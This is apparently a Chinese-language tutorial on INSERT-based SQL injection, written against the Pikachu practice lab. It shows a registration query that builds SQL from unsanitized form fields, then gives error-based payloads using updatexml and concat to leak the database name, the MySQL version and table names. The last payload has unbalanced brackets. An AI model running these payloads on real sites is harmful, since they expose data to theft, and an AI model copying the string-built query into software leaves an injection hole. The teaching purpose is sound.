SQL注入 (中级篇)Insert注入

insert注入:

其实对于初学SQL注入,并不需要区分注入类型。

但是要理解insert注入,首先需要理解SQL的insert语句

举个例子 :在Student表插入bob的信息

Student表:

|-----------------------------------|

| name | age | grade |

|-----------------------------------|

| andy | 14 | 98 |

|-----------------------------------|

sql语句为 INSERT INTO Student VALUES (bob, 15, 99)

当然也可在指定的列中插入数据

例如 INSERT INTO Student(name,age) VALUES (bob, 15)

OK,以上内容即是insert 语句的用法。现在我们来分析insert 注入

测试链接

在注册时,后台的逻辑应该是这样的

-------------------------------------------------------------------------------------

--------------------------------------------------------------------------------------

代码好长,其实这段代码主要的语句为

insert into member(username,pw,sex,phonenum,email,address) values({$getdata[username]},md5({$getdata[password]}),{$getdata[sex]},{$getdata[phonenum]},{$getdata[email]},{$getdata[add]})";

大概就是 insert into member(username,pw,sex,phonenum,email,address) values(必填字段,必填字段,xx,xx,xx,xx,xx,)

于是可以构造payload 在username 填入 bob or updatexml(1,concat(0x7e,database()),0) or

 

基于函数报错的注入

常用的报错函数

updatexml() MYSQL对xml文档数据进行查询和修改的XPATH函数

updatexml(xml_document,XPathstring,new_value) 表名,路径(路径错误会报错),替换的值

extractvalue() MYSQL对xml文档数据进行查询XPATH函数

floor() MYSQL中用来取整的函数

limit 0,1, 从你的表中的第0个数据开始,只读取一个

kobe and updatexml(1,version(),0)#

因为路径不对,所以会报错

----------------------------------------------------------------

-----------------------------------------------------------------

但是看到的version()版本不够完整

于是大佬说用concat函数,把被丢掉的信息完全显示出来

于是构造payload kobe and updatexml(1,concat(0x7e,version()),0)#

其中0X7e表示的是 ~ 这个符号 ,concat函数用于将两个字段拼接

现在数据库完整的版本显示出来了

------------------------------------------------------------------------

-----------------------------------------------------------------------

好了明白了以上内容,就差不多了解了基于报错的注入原理

下面是一些扩展

构造payload kobe and updatexml(1,concat(0x7e,database()),0)#

kobe and updatexml(1,concat(0x7e,select table_name from information_schema.tables where table_schema=pikachu)),0) #

 
经验分享 程序员 微信小程序 职场和发展